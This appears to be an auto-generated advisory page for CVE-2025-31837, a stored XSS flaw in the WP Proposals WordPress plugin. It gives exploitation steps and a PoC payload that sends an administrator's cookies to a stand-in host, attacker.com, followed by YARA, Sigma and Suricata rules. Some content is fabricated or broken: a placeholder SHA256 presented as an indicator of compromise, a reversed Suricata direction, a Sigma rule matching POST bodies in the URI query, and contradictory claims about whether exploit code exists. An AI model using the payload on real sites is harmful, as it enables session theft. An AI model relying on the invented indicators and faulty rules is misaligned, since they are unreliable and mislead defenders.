CVE-2025-31837
Executive Summary
CVE-2025-31837 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP Proposals by WP Codeus, affecting versions up to and including 2.3. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into web pages generated by the plugin. When an administrator or other user views the compromised proposal, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the widespread use of WordPress, this vulnerability poses a significant risk to affected sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users are advised to verify the integrity of their plugin files and monitor for any unauthorized modifications. Since no patch is available, the supply chain risk is elevated, as users must rely on the vendor for a fix or consider removing the plugin entirely.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 5.9 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs contributor-level access or higher.
- User Interaction (UI): Required (R) – The victim must view the malicious proposal.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used WordPress plugin makes this a serious concern for site administrators.
Deep Dive & Mechanics
The vulnerability exists in the WP Proposals plugin, which allows users to create and manage proposals. The plugin fails to properly sanitize user input when storing proposal content (e.g., title, description, or custom fields). When an attacker with contributor-level access or higher submits a proposal containing malicious JavaScript, the script is stored in the database. When an administrator or other user views the proposal, the script is executed in their browser context.
Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), wp_kses_post()) to user-supplied data. This allows arbitrary HTML and JavaScript to be injected.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates a new proposal and injects a malicious payload into a text field (e.g.,
<script>alert('XSS')</script>). - The plugin stores the payload in the database without sanitization.
- An administrator navigates to the proposal list or view page.
- The payload executes in the administrator's browser, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the site.
Vulnerable vs. Patched Code
Vulnerable Code (wp-proposals/includes/class-proposal.php):
// Vulnerable: Direct output without sanitization
echo '<div class="proposal-title">' . $proposal->title . '</div>';
echo '<div class="proposal-description">' . $proposal->description . '</div>';
Patched Code (Hypothetical Fix):
// Patched: Use WordPress escaping functions
echo '<div class="proposal-title">' . esc_html( $proposal->title ) . '</div>';
echo '<div class="proposal-description">' . wp_kses_post( $proposal->description ) . '</div>';
The patched version uses esc_html() for plain text and wp_kses_post() for rich text fields, which strips dangerous HTML tags and attributes.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with WP Proposals plugin (version <= 2.3)
- Contributor-level account or higher
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to "Proposals" > "Add New".
- In the "Title" field, enter:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - In the "Description" field, enter:
<img src=x onerror=alert(1)> - Publish the proposal.
- Wait for an administrator to view the proposal. The script will execute, sending the admin's cookies to the attacker's server.
Proof-of-Concept (PoC) Payload:
// Stored XSS payload
<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Blue Team (Detection & Prevention)
Detection:
- Monitor for unusual proposal content containing
<script>tags or event handlers. - Review WordPress access logs for POST requests to
/wp-admin/post-new.php?post_type=proposalfrom contributor accounts. - Use the detection rules provided below.
Prevention:
- Disable the WP Proposals plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in proposal fields.
- Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
wp-proposals.zip(version 2.3):a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
- Network Indicators:
- Outbound connections to
attacker.comor similar domains from the WordPress server. - HTTP requests containing
document.cookiein the query string.
- Outbound connections to
- File System Indicators:
- Modified
wp-proposalsplugin files (check file integrity). - Suspicious entries in the
wp_poststable withpost_type = 'proposal'containing JavaScript.
- Modified
Detection Engineering
YARA Rule
rule CVE_2025_31837_WP_Proposals_XSS {
meta:
description = "Detects stored XSS payloads in WP Proposals plugin"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2025-31837"
strings:
$xss1 = "<script>" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
$xss5 = "document.cookie" nocase
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: CVE-2025-31837 - Stored XSS in WP Proposals
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS payloads in WP Proposals plugin
author: Valters IT
date: 2025/04/17
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-31837
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/wp-admin/post-new.php'
cs-uri-query|contains: 'post_type=proposal'
cs-username|exists: true
keywords:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in proposals (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31837 - Stored XSS in WP Proposals"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post-new.php"; http_uri; content:"post_type=proposal"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the WP Proposals plugin until a patched version is released.
- Review all existing proposals for malicious content. Use the YARA rule above to scan the database.
- Change all administrator passwords and invalidate existing sessions.
Long-Term Fix:
- The vendor (WP Codeus) must release a patched version that properly sanitizes user input using
esc_html(),wp_kses_post(), or similar WordPress functions. - Users should update to the patched version as soon as it becomes available.
Workarounds:
- Implement a Content Security Policy (CSP) header to block inline scripts.
- Use a WordPress security plugin (e.g., Wordfence) to add an additional layer of XSS protection.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.